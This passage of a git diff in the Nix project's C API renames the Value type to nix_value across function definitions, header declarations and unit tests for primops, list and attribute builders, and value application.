         context->last_err_code = NIX_OK;
@@ -425,7 +427,7 @@ nix_err nix_init_string(nix_c_context * context, Value * value, const char * str
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * value, const char * str)
+nix_err nix_init_path_string(nix_c_context * context, EvalState * s, nix_value * value, const char * str)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -436,7 +438,7 @@ nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * val
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_init_float(nix_c_context * context, Value * value, double d)
+nix_err nix_init_float(nix_c_context * context, nix_value * value, double d)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -447,7 +449,7 @@ nix_err nix_init_float(nix_c_context * context, Value * value, double d)
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i)
+nix_err nix_init_int(nix_c_context * context, nix_value * value, int64_t i)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -458,7 +460,7 @@ nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i)
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_init_null(nix_c_context * context, Value * value)
+nix_err nix_init_null(nix_c_context * context, nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -469,7 +471,7 @@ nix_err nix_init_null(nix_c_context * context, Value * value)
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_init_apply(nix_c_context * context, Value * value, Value * fn, Value * arg)
+nix_err nix_init_apply(nix_c_context * context, nix_value * value, nix_value * fn, nix_value * arg)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -482,7 +484,7 @@ nix_err nix_init_apply(nix_c_context * context, Value * value, Value * fn, Value
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue * val)
+nix_err nix_init_external(nix_c_context * context, nix_value * value, ExternalValue * val)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -509,7 +511,8 @@ ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state,
     NIXC_CATCH_ERRS_NULL
 }
 
-nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, unsigned int index, Value * value)
+nix_err
+nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, unsigned int index, nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -529,7 +532,7 @@ void nix_list_builder_free(ListBuilder * list_builder)
 #endif
 }
 
-nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, Value * value)
+nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -540,7 +543,7 @@ nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, Value
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * p)
+nix_err nix_init_primop(nix_c_context * context, nix_value * value, PrimOp * p)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -551,7 +554,7 @@ nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * p)
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_copy_value(nix_c_context * context, Value * value, const Value * source)
+nix_err nix_copy_value(nix_c_context * context, nix_value * value, const nix_value * source)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -563,7 +566,7 @@ nix_err nix_copy_value(nix_c_context * context, Value * value, const Value * sou
     NIXC_CATCH_ERRS
 }
 
-nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder * b)
+nix_err nix_make_attrs(nix_c_context * context, nix_value * value, BindingsBuilder * b)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -589,7 +592,7 @@ BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, EvalState *
     NIXC_CATCH_ERRS_NULL
 }
 
-nix_err nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * bb, const char * name, Value * value)
+nix_err nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * bb, const char * name, nix_value * value)
 {
     if (context)
         context->last_err_code = NIX_OK;
@@ -610,7 +613,7 @@ void nix_bindings_builder_free(BindingsBuilder * bb)
 #endif
 }
 
-nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * state, Value * value, bool isIFD)
+nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * state, nix_value * value, bool isIFD)
 {
     if (context)
         context->last_err_code = NIX_OK;
diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h
index 26044bd57a2..044f68c9e79 100644
--- a/src/libexpr-c/nix_api_value.h
+++ b/src/libexpr-c/nix_api_value.h
@@ -93,7 +93,8 @@ typedef struct nix_realised_string nix_realised_string;
  * @param[out] ret return value
  * @see nix_alloc_primop, nix_init_primop
  */
-typedef void (*PrimOpFun)(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret);
+typedef void (*PrimOpFun)(
+    void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret);
 
 /** @brief Allocate a PrimOp
  *
@@ -145,7 +146,7 @@ nix_err nix_register_primop(nix_c_context * context, PrimOp * primOp);
  * @return value, or null in case of errors
  *
  */
-Value * nix_alloc_value(nix_c_context * context, EvalState * state);
+nix_value * nix_alloc_value(nix_c_context * context, EvalState * state);
 
 /**
  * @brief Increment the garbage collector reference counter for the given `nix_value`.
@@ -167,7 +168,7 @@ nix_err nix_value_incref(nix_c_context * context, nix_value * value);
 nix_err nix_value_decref(nix_c_context * context, nix_value * value);
 
 /** @addtogroup value_manip Manipulating values
- * @brief Functions to inspect and change Nix language values, represented by Value.
+ * @brief Functions to inspect and change Nix language values, represented by nix_value.
  * @{
  */
 /** @anchor getters
@@ -179,7 +180,7 @@ nix_err nix_value_decref(nix_c_context * context, nix_value * value);
  * @param[in] value Nix value to inspect
  * @return type of nix value
  */
-ValueType nix_get_type(nix_c_context * context, const Value * value);
+ValueType nix_get_type(nix_c_context * context, const nix_value * value);
 
 /** @brief Get type name of value as defined in the evaluator
  * @param[out] context Optional, stores error information
@@ -187,14 +188,14 @@ ValueType nix_get_type(nix_c_context * context, const Value * value);
  * @return type name, owned string
  * @todo way to free the result
  */
-const char * nix_get_typename(nix_c_context * context, const Value * value);
+const char * nix_get_typename(nix_c_context * context, const nix_value * value);
 
 /** @brief Get boolean value
  * @param[out] context Optional, stores error information
  * @param[in] value Nix value to inspect
  * @return true or false, error info via context
  */
-bool nix_get_bool(nix_c_context * context, const Value * value);
+bool nix_get_bool(nix_c_context * context, const nix_value * value);
 
 /** @brief Get the raw string
  *
@@ -208,7 +209,7 @@ bool nix_get_bool(nix_c_context * context, const Value * value);
  * @return error code, NIX_OK on success.
  */
 nix_err
-nix_get_string(nix_c_context * context, const Value * value, nix_get_string_callback callback, void * user_data);
+nix_get_string(nix_c_context * context, const nix_value * value, nix_get_string_callback callback, void * user_data);
 
 /** @brief Get path as string
  * @param[out] context Optional, stores error information
@@ -216,42 +217,42 @@ nix_get_string(nix_c_context * context, const Value * value, nix_get_string_call
  * @return string
  * @return NULL in case of error.
  */
-const char * nix_get_path_string(nix_c_context * context, const Value * value);
+const char * nix_get_path_string(nix_c_context * context, const nix_value * value);
 
 /** @brief Get the length of a list
  * @param[out] context Optional, stores error information
  * @param[in] value Nix value to inspect
  * @return length of list, error info via context
  */
-unsigned int nix_get_list_size(nix_c_context * context, const Value * value);
+unsigned int nix_get_list_size(nix_c_context * context, const nix_value * value);
 
 /** @brief Get the element count of an attrset
  * @param[out] context Optional, stores error information
  * @param[in] value Nix value to inspect
  * @return attrset element count, error info via context
  */
-unsigned int nix_get_attrs_size(nix_c_context * context, const Value * value);
+unsigned int nix_get_attrs_size(nix_c_context * context, const nix_value * value);
 
 /** @brief Get float value in 64 bits
  * @param[out] context Optional, stores error information
  * @param[in] value Nix value to inspect
  * @return float contents, error info via context
  */
-double nix_get_float(nix_c_context * context, const Value * value);
+double nix_get_float(nix_c_context * context, const nix_value * value);
 
 /** @brief Get int value
  * @param[out] context Optional, stores error information
  * @param[in] value Nix value to inspect
  * @return int contents, error info via context
  */
-int64_t nix_get_int(nix_c_context * context, const Value * value);
+int64_t nix_get_int(nix_c_context * context, const nix_value * value);
 
 /** @brief Get external reference
  * @param[out] context Optional, stores error information
  * @param[in] value Nix value to inspect
  * @return reference to external, NULL in case of error
  */
-ExternalValue * nix_get_external(nix_c_context * context, Value *);
+ExternalValue * nix_get_external(nix_c_context * context, nix_value *);
 
 /** @brief Get the ix'th element of a list
  *
@@ -262,7 +263,7 @@ ExternalValue * nix_get_external(nix_c_context * context, Value *);
  * @param[in] ix list element to get
  * @return value, NULL in case of errors
  */
-Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int ix);
+nix_value * nix_get_list_byidx(nix_c_context * context, const nix_value * value, EvalState * state, unsigned int ix);
 
 /** @brief Get an attr by name
  *
@@ -273,7 +274,7 @@ Value * nix_get_list_byidx(nix_c_context * context, const Value * value, EvalSta
  * @param[in] name attribute name
  * @return value, NULL in case of errors
  */
-Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalState * state, const char * name);
+nix_value * nix_get_attr_byname(nix_c_context * context, const nix_value * value, EvalState * state, const char * name);
 
 /** @brief Check if an attribute name exists on a value
  * @param[out] context Optional, stores error information
@@ -282,7 +283,7 @@ Value * nix_get_attr_byname(nix_c_context * context, const Value * value, EvalSt
  * @param[in] name attribute name
  * @return value, error info via context
  */
-bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState * state, const char * name);
+bool nix_has_attr_byname(nix_c_context * context, const nix_value * value, EvalState * state, const char * name);
 
 /** @brief Get an attribute by index in the sorted bindings
  *
@@ -296,8 +297,8 @@ bool nix_has_attr_byname(nix_c_context * context, const Value * value, EvalState
  * @param[out] name will store a pointer to the attribute name
  * @return value, NULL in case of errors
  */
-Value *
-nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int i, const char ** name);
+nix_value * nix_get_attr_byidx(
+    nix_c_context * context, const nix_value * value, EvalState * state, unsigned int i, const char ** name);
 
 /** @brief Get an attribute name by index in the sorted bindings
  *
@@ -310,7 +311,8 @@ nix_get_attr_byidx(nix_c_context * context, const Value * value, EvalState * sta
  * @param[in] i attribute index
  * @return name, NULL in case of errors
  */
-const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * value, EvalState * state, unsigned int i);
+const char *
+nix_get_attr_name_byidx(nix_c_context * context, const nix_value * value, EvalState * state, unsigned int i);
 
 /**@}*/
 /** @name Initializers
@@ -327,7 +329,7 @@ const char * nix_get_attr_name_byidx(nix_c_context * context, const Value * valu
  * @param[in] b the boolean value
  * @return error code, NIX_OK on success.
  */
-nix_err nix_init_bool(nix_c_context * context, Value * value, bool b);
+nix_err nix_init_bool(nix_c_context * context, nix_value * value, bool b);
 
 /** @brief Set a string
  * @param[out] context Optional, stores error information
@@ -335,7 +337,7 @@ nix_err nix_init_bool(nix_c_context * context, Value * value, bool b);
  * @param[in] str the string, copied
  * @return error code, NIX_OK on success.
  */
-nix_err nix_init_string(nix_c_context * context, Value * value, const char * str);
+nix_err nix_init_string(nix_c_context * context, nix_value * value, const char * str);
 
 /** @brief Set a path
  * @param[out] context Optional, stores error information
@@ -343,7 +345,7 @@ nix_err nix_init_string(nix_c_context * context, Value * value, const char * str
  * @param[in] str the path string, copied
  * @return error code, NIX_OK on success.
  */
-nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * value, const char * str);
+nix_err nix_init_path_string(nix_c_context * context, EvalState * s, nix_value * value, const char * str);
 
 /** @brief Set a float
  * @param[out] context Optional, stores error information
@@ -351,7 +353,7 @@ nix_err nix_init_path_string(nix_c_context * context, EvalState * s, Value * val
  * @param[in] d the float, 64-bits
  * @return error code, NIX_OK on success.
  */
-nix_err nix_init_float(nix_c_context * context, Value * value, double d);
+nix_err nix_init_float(nix_c_context * context, nix_value * value, double d);
 
 /** @brief Set an int
  * @param[out] context Optional, stores error information
@@ -360,13 +362,13 @@ nix_err nix_init_float(nix_c_context * context, Value * value, double d);
  * @return error code, NIX_OK on success.
  */
 
-nix_err nix_init_int(nix_c_context * context, Value * value, int64_t i);
+nix_err nix_init_int(nix_c_context * context, nix_value * value, int64_t i);
 /** @brief Set null
  * @param[out] context Optional, stores error information
  * @param[out] value Nix value to modify
  * @return error code, NIX_OK on success.
  */
-nix_err nix_init_null(nix_c_context * context, Value * value);
+nix_err nix_init_null(nix_c_context * context, nix_value * value);
 
 /** @brief Set the value to a thunk that will perform a function application when needed.
  *
@@ -382,7 +384,7 @@ nix_err nix_init_null(nix_c_context * context, Value * value);
  * @see nix_value_call() for a similar function that performs the call immediately and only stores the return value.
  *      Note the different argument order.
  */
-nix_err nix_init_apply(nix_c_context * context, Value * value, Value * fn, Value * arg);
+nix_err nix_init_apply(nix_c_context * context, nix_value * value, nix_value * fn, nix_value * arg);
 
 /** @brief Set an external value
  * @param[out] context Optional, stores error information
@@ -390,7 +392,7 @@ nix_err nix_init_apply(nix_c_context * context, Value * value, Value * fn, Value
  * @param[in] val the external value to set. Will be GC-referenced by the value.
  * @return error code, NIX_OK on success.
  */
-nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue * val);
+nix_err nix_init_external(nix_c_context * context, nix_value * value, ExternalValue * val);
 
 /** @brief Create a list from a list builder
  * @param[out] context Optional, stores error information
@@ -398,7 +400,7 @@ nix_err nix_init_external(nix_c_context * context, Value * value, ExternalValue
  * @param[out] value Nix value to modify
  * @return error code, NIX_OK on success.
  */
-nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, Value * value);
+nix_err nix_make_list(nix_c_context * context, ListBuilder * list_builder, nix_value * value);
 
 /** @brief Create a list builder
  * @param[out] context Optional, stores error information
@@ -415,7 +417,8 @@ ListBuilder * nix_make_list_builder(nix_c_context * context, EvalState * state,
  * @param[in] value value to insert
  * @return error code, NIX_OK on success.
  */
-nix_err nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, unsigned int index, Value * value);
+nix_err
+nix_list_builder_insert(nix_c_context * context, ListBuilder * list_builder, unsigned int index, nix_value * value);
 
 /** @brief Free a list builder
  *
@@ -430,7 +433,7 @@ void nix_list_builder_free(ListBuilder * list_builder);
  * @param[in] b bindings builder to use. Make sure to unref this afterwards.
  * @return error code, NIX_OK on success.
  */
-nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder * b);
+nix_err nix_make_attrs(nix_c_context * context, nix_value * value, BindingsBuilder * b);
 
 /** @brief Set primop
  * @param[out] context Optional, stores error information
@@ -439,14 +442,14 @@ nix_err nix_make_attrs(nix_c_context * context, Value * value, BindingsBuilder *
  * @see nix_alloc_primop
  * @return error code, NIX_OK on success.
  */
-nix_err nix_init_primop(nix_c_context * context, Value * value, PrimOp * op);
+nix_err nix_init_primop(nix_c_context * context, nix_value * value, PrimOp * op);
 /** @brief Copy from another value
  * @param[out] context Optional, stores error information
  * @param[out] value Nix value to modify
  * @param[in] source value to copy from
  * @return error code, NIX_OK on success.
  */
-nix_err nix_copy_value(nix_c_context * context, Value * value, const Value * source);
+nix_err nix_copy_value(nix_c_context * context, nix_value * value, const nix_value * source);
 /**@}*/
 
 /** @brief Create a bindings builder
@@ -466,7 +469,7 @@ BindingsBuilder * nix_make_bindings_builder(nix_c_context * context, EvalState *
  * @return error code, NIX_OK on success.
  */
 nix_err
-nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * builder, const char * name, Value * value);
+nix_bindings_builder_insert(nix_c_context * context, BindingsBuilder * builder, const char * name, nix_value * value);
 
 /** @brief Free a bindings builder
  *
@@ -493,7 +496,7 @@ void nix_bindings_builder_free(BindingsBuilder * builder);
                     You should set this to false when building for your application's purpose.
  * @return NULL if failed, are a new nix_realised_string, which must be freed with nix_realised_string_free
  */
-nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * state, Value * value, bool isIFD);
+nix_realised_string * nix_string_realise(nix_c_context * context, EvalState * state, nix_value * value, bool isIFD);
 
 /** @brief Start of the string
  * @param[in] realised_string
diff --git a/tests/unit/libexpr-support/tests/nix_api_expr.hh b/tests/unit/libexpr-support/tests/nix_api_expr.hh
index d1840d03432..6ddca0d14d4 100644
--- a/tests/unit/libexpr-support/tests/nix_api_expr.hh
+++ b/tests/unit/libexpr-support/tests/nix_api_expr.hh
@@ -25,7 +25,7 @@ protected:
     }
 
     EvalState * state;
-    Value * value;
+    nix_value * value;
 };
 
 }
diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc
index 92a6a117537..8b97d692345 100644
--- a/tests/unit/libexpr/nix_api_expr.cc
+++ b/tests/unit/libexpr/nix_api_expr.cc
@@ -39,12 +39,12 @@ TEST_F(nix_api_expr_test, nix_expr_eval_drv)
     ASSERT_EQ(NIX_TYPE_ATTRS, nix_get_type(nullptr, value));
 
     EvalState * stateFn = nix_state_create(nullptr, nullptr, store);
-    Value * valueFn = nix_alloc_value(nullptr, state);
+    nix_value * valueFn = nix_alloc_value(nullptr, state);
     nix_expr_eval_from_string(nullptr, stateFn, "builtins.toString", ".", valueFn);
     ASSERT_EQ(NIX_TYPE_FUNCTION, nix_get_type(nullptr, valueFn));
 
     EvalState * stateResult = nix_state_create(nullptr, nullptr, store);
-    Value * valueResult = nix_alloc_value(nullptr, stateResult);
+    nix_value * valueResult = nix_alloc_value(nullptr, stateResult);
     nix_value_call(ctx, stateResult, valueFn, value, valueResult);
     ASSERT_EQ(NIX_TYPE_STRING, nix_get_type(nullptr, valueResult));
 
@@ -70,7 +70,7 @@ TEST_F(nix_api_expr_test, nix_build_drv)
                               })";
     nix_expr_eval_from_string(nullptr, state, expr, ".", value);
 
-    Value * drvPathValue = nix_get_attr_byname(nullptr, value, state, "drvPath");
+    nix_value * drvPathValue = nix_get_attr_byname(nullptr, value, state, "drvPath");
     std::string drvPath;
     nix_get_string(nullptr, drvPathValue, OBSERVE_STRING(drvPath));
 
@@ -84,7 +84,7 @@ TEST_F(nix_api_expr_test, nix_build_drv)
     StorePath * drvStorePath = nix_store_parse_path(ctx, store, drvPath.c_str());
     ASSERT_EQ(true, nix_store_is_valid_path(ctx, store, drvStorePath));
 
-    Value * outPathValue = nix_get_attr_byname(ctx, value, state, "outPath");
+    nix_value * outPathValue = nix_get_attr_byname(ctx, value, state, "outPath");
     std::string outPath;
     nix_get_string(ctx, outPathValue, OBSERVE_STRING(outPath));
 
@@ -193,7 +193,8 @@ TEST_F(nix_api_expr_test, nix_expr_realise_context)
 
 const char * SAMPLE_USER_DATA = "whatever";
 
-static void primop_square(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret)
+static void
+primop_square(void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret)
 {
     assert(context);
     assert(state);
@@ -207,17 +208,17 @@ TEST_F(nix_api_expr_test, nix_expr_primop)
     PrimOp * primop =
         nix_alloc_primop(ctx, primop_square, 1, "square", nullptr, "square an integer", (void *) SAMPLE_USER_DATA);
     assert_ctx_ok();
-    Value * primopValue = nix_alloc_value(ctx, state);
+    nix_value * primopValue = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_init_primop(ctx, primopValue, primop);
     assert_ctx_ok();
 
-    Value * three = nix_alloc_value(ctx, state);
+    nix_value * three = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_init_int(ctx, three, 3);
     assert_ctx_ok();
 
-    Value * result = nix_alloc_value(ctx, state);
+    nix_value * result = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_value_call(ctx, state, primopValue, three, result);
     assert_ctx_ok();
@@ -226,7 +227,8 @@ TEST_F(nix_api_expr_test, nix_expr_primop)
     ASSERT_EQ(9, r);
 }
 
-static void primop_repeat(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret)
+static void
+primop_repeat(void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret)
 {
     assert(context);
     assert(state);
@@ -255,27 +257,27 @@ TEST_F(nix_api_expr_test, nix_expr_primop_arity_2_multiple_calls)
     PrimOp * primop =
         nix_alloc_primop(ctx, primop_repeat, 2, "repeat", nullptr, "repeat a string", (void *) SAMPLE_USER_DATA);
     assert_ctx_ok();
-    Value * primopValue = nix_alloc_value(ctx, state);
+    nix_value * primopValue = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_init_primop(ctx, primopValue, primop);
     assert_ctx_ok();
 
-    Value * hello = nix_alloc_value(ctx, state);
+    nix_value * hello = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_init_string(ctx, hello, "hello");
     assert_ctx_ok();
 
-    Value * three = nix_alloc_value(ctx, state);
+    nix_value * three = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_init_int(ctx, three, 3);
     assert_ctx_ok();
 
-    Value * partial = nix_alloc_value(ctx, state);
+    nix_value * partial = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_value_call(ctx, state, primopValue, hello, partial);
     assert_ctx_ok();
 
-    Value * result = nix_alloc_value(ctx, state);
+    nix_value * result = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_value_call(ctx, state, partial, three, result);
     assert_ctx_ok();
@@ -290,22 +292,22 @@ TEST_F(nix_api_expr_test, nix_expr_primop_arity_2_single_call)
     PrimOp * primop =
         nix_alloc_primop(ctx, primop_repeat, 2, "repeat", nullptr, "repeat a string", (void *) SAMPLE_USER_DATA);
     assert_ctx_ok();
-    Value * primopValue = nix_alloc_value(ctx, state);
+    nix_value * primopValue = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_init_primop(ctx, primopValue, primop);
     assert_ctx_ok();
 
-    Value * hello = nix_alloc_value(ctx, state);
+    nix_value * hello = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_init_string(ctx, hello, "hello");
     assert_ctx_ok();
 
-    Value * three = nix_alloc_value(ctx, state);
+    nix_value * three = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_init_int(ctx, three, 3);
     assert_ctx_ok();
 
-    Value * result = nix_alloc_value(ctx, state);
+    nix_value * result = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     NIX_VALUE_CALL(ctx, state, result, primopValue, hello, three);
     assert_ctx_ok();
@@ -318,7 +320,7 @@ TEST_F(nix_api_expr_test, nix_expr_primop_arity_2_single_call)
 }
 
 static void
-primop_bad_no_return(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret)
+primop_bad_no_return(void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret)
 {
 }
 
@@ -327,17 +329,17 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_no_return)
     PrimOp * primop =
         nix_alloc_primop(ctx, primop_bad_no_return, 1, "badNoReturn", nullptr, "a broken primop", nullptr);
     assert_ctx_ok();
-    Value * primopValue = nix_alloc_value(ctx, state);
+    nix_value * primopValue = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_init_primop(ctx, primopValue, primop);
     assert_ctx_ok();
 
-    Value * three = nix_alloc_value(ctx, state);
+    nix_value * three = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_init_int(ctx, three, 3);
     assert_ctx_ok();
 
-    Value * result = nix_alloc_value(ctx, state);
+    nix_value * result = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_value_call(ctx, state, primopValue, three, result);
     ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR);
@@ -348,8 +350,8 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_no_return)
     ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("badNoReturn")));
 }
 
-static void
-primop_bad_return_thunk(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret)
+static void primop_bad_return_thunk(
+    void * user_data, nix_c_context * context, EvalState * state, nix_value ** args, nix_value * ret)
 {
     nix_init_apply(context, ret, args[0], args[1]);
 }
@@ -358,22 +360,22 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_return_thunk)
     PrimOp * primop =
         nix_alloc_primop(ctx, primop_bad_return_thunk, 2, "badReturnThunk", nullptr, "a broken primop", nullptr);
     assert_ctx_ok();
-    Value * primopValue = nix_alloc_value(ctx, state);
+    nix_value * primopValue = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_init_primop(ctx, primopValue, primop);
     assert_ctx_ok();
 
-    Value * toString = nix_alloc_value(ctx, state);
+    nix_value * toString = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_expr_eval_from_string(ctx, state, "builtins.toString", ".", toString);
     assert_ctx_ok();
 
-    Value * four = nix_alloc_value(ctx, state);
+    nix_value * four = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     nix_init_int(ctx, four, 4);
     assert_ctx_ok();
 
-    Value * result = nix_alloc_value(ctx, state);
+    nix_value * result = nix_alloc_value(ctx, state);
     assert_ctx_ok();
     NIX_VALUE_CALL(ctx, state, result, primopValue, toString, four);
 
@@ -387,11 +389,11 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_return_thunk)
 
 TEST_F(nix_api_expr_test, nix_value_call_multi_no_args)
 {
-    Value * n = nix_alloc_value(ctx, state);
+    nix_value * n = nix_alloc_value(ctx, state);
     nix_init_int(ctx, n, 3);
     assert_ctx_ok();
 
-    Value * r = nix_alloc_value(ctx, state);
+    nix_value * r = nix_alloc_value(ctx, state);
     nix_value_call_multi(ctx, state, n, 0, nullptr, r);
     assert_ctx_ok();
 
diff --git a/tests/unit/libexpr/nix_api_external.cc b/tests/unit/libexpr/nix_api_external.cc
index 2391f831766..81ff285a4ab 100644
--- a/tests/unit/libexpr/nix_api_external.cc
+++ b/tests/unit/libexpr/nix_api_external.cc
@@ -49,10 +49,10 @@ TEST_F(nix_api_expr_test, nix_expr_eval_external)
     nix_init_external(ctx, value, val);
 
     EvalState * stateResult = nix_state_create(nullptr, nullptr, store);
-    Value * valueResult = nix_alloc_value(nullptr, stateResult);
+    nix_value * valueResult = nix_alloc_value(nullptr, stateResult);
 
     EvalState * stateFn = nix_state_create(nullptr, nullptr, store);
-    Value * valueFn = nix_alloc_value(nullptr, stateFn);
+    nix_value * valueFn = nix_alloc_value(nullptr, stateFn);
 
     nix_expr_eval_from_string(nullptr, state, "builtins.typeOf", ".", valueFn);
 
diff --git a/tests/unit/libexpr/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc
index b674d8681b8..7fc8b4f641f 100644
--- a/tests/unit/libexpr/nix_api_value.cc
+++ b/tests/unit/libexpr/nix_api_value.cc
@@ -148,8 +148,8 @@ TEST_F(nix_api_expr_test, nix_build_and_init_list)
     int size = 10;
     ListBuilder * builder = nix_make_list_builder(ctx, state, size);
 
-    Value * intValue = nix_alloc_value(ctx, state);
-    Value * intValue2 = nix_alloc_value(ctx, state);
+    nix_value * intValue = nix_alloc_value(ctx, state);
+    nix_value * intValue2 = nix_alloc_value(ctx, state);
 
     // `init` and `insert` can be called in any order
     nix_init_int(ctx, intValue, 42);
@@ -204,10 +204,10 @@ TEST_F(nix_api_expr_test, nix_build_and_init_attr)
 
     BindingsBuilder * builder = nix_make_bindings_builder(ctx, state, size);
 
-    Value * intValue = nix_alloc_value(ctx, state);
+    nix_value * intValue = nix_alloc_value(ctx, state);
     nix_init_int(ctx, intValue, 42);
 
-    Value * stringValue = nix_alloc_value(ctx, state);
+    nix_value * stringValue = nix_alloc_value(ctx, state);
     nix_init_string(ctx, stringValue, "foo");
 
     nix_bindings_builder_insert(ctx, builder, "a", intValue);
@@ -217,7 +217,7 @@ TEST_F(nix_api_expr_test, nix_build_and_init_attr)
 
     ASSERT_EQ(2, nix_get_attrs_size(ctx, value));
 
-    Value * out_value = nix_get_attr_byname(ctx, value, state, "a");
+    nix_value * out_value = nix_get_attr_byname(ctx, value, state, "a");
     ASSERT_EQ(42, nix_get_int(ctx, out_value));
     nix_gc_decref(ctx, out_value);
 
@@ -261,10 +261,10 @@ TEST_F(nix_api_expr_test, nix_value_init)
     // two = 2;
     // f = a: a * a;
 
-    Value * two = nix_alloc_value(ctx, state);
+    nix_value * two = nix_alloc_value(ctx, state);
     nix_init_int(ctx, two, 2);
 
-    Value * f = nix_alloc_value(ctx, state);
+    nix_value * f = nix_alloc_value(ctx, state);
     nix_expr_eval_from_string(
         ctx,
         state,
@@ -278,7 +278,7 @@ TEST_F(nix_api_expr_test, nix_value_init)
 
     // r = f two;
 
-    Value * r = nix_alloc_value(ctx, state);
+    nix_value * r = nix_alloc_value(ctx, state);
     nix_init_apply(ctx, r, f, two);
     assert_ctx_ok();
 
@@ -307,11 +307,11 @@ TEST_F(nix_api_expr_test, nix_value_init)
 
 TEST_F(nix_api_expr_test, nix_value_init_apply_error)
 {
-    Value * some_string = nix_alloc_value(ctx, state);
+    nix_value * some_string = nix_alloc_value(ctx, state);
     nix_init_string(ctx, some_string, "some string");
     assert_ctx_ok();
 
-    Value * v = nix_alloc_value(ctx, state);
+    nix_value * v = nix_alloc_value(ctx, state);
     nix_init_apply(ctx, v, some_string, some_string);
     assert_ctx_ok();
 
@@ -336,7 +336,7 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg)
     // r = f e
     // r should not throw an exception, because e is not evaluated
 
-    Value * f = nix_alloc_value(ctx, state);
+    nix_value * f = nix_alloc_value(ctx, state);
     nix_expr_eval_from_string(
         ctx,
         state,
@@ -347,9 +347,9 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg)
         f);
     assert_ctx_ok();
 
-    Value * e = nix_alloc_value(ctx, state);
+    nix_value * e = nix_alloc_value(ctx, state);
     {
